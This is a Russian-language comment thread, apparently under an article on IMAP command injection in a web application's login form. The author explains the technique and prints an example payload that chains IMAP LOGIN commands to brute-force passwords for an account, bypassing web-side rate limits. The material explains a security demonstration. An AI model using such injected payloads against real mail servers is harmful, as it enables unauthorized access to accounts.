      Добрый день! Благодарю за отзыв :)

      В подборе учётной записи для службы IMAP действительно использую пару логин и пароль. Хоть я и не реализовала в рассматриваемом веб-приложении никаких механизмов защиты от перебора учётных данных прямо в форме (CAPTCHA, ограничение числа попыток входа по логину или IP адресу, ...), в данном случае эксплуатация инъекции подразумевала демонстрацию варианта обхода таких механизмов в случае, когда они существуют в рамках веб-приложения и не настроены дополнительно на почтовом сервере.


      1. olegtsss
        16.11.2023 16:42

        Логин видел, пароль не видел. Подскажите пожалуйста, где он (пароль) на картинках?


        1. qwqoro Автор
          16.11.2023 16:42
          +1

          Пары логин / пароль можно найти на скриншотах, где изображён трафик, а также среди полезной нагрузки. Разбирая один из примеров нагрузки из статьи:

          test "test"
          AAAA0 LOGIN contact "contact"
          AAAA1 LOGIN contact "password"
          ...
          AAAA8 LOGIN contact "admin"
          AAAA9 LOGIN contact

          Команда LOGIN принимает два аргумента: имя пользователя и пароль. Так что в данном случае:

          • В первой строке – попытка войти с логином test и паролем test (первая часть команды LOGIN отправляется почтовым клиентом, потому опущена при формировании полезной нагрузки)

          • Во второй и последующих – попытки войти с логином contact, перебираются пароли contact, password, admin (пароль для команды из последней строки будет указан в форме, в параметре тела запроса password, потому опущен при формировании полезной нагрузки)


          1. olegtsss
            16.11.2023 16:42

            Теперь понятно, спасибо. Заберите это в текст статьи, иначе там не ясно что и как.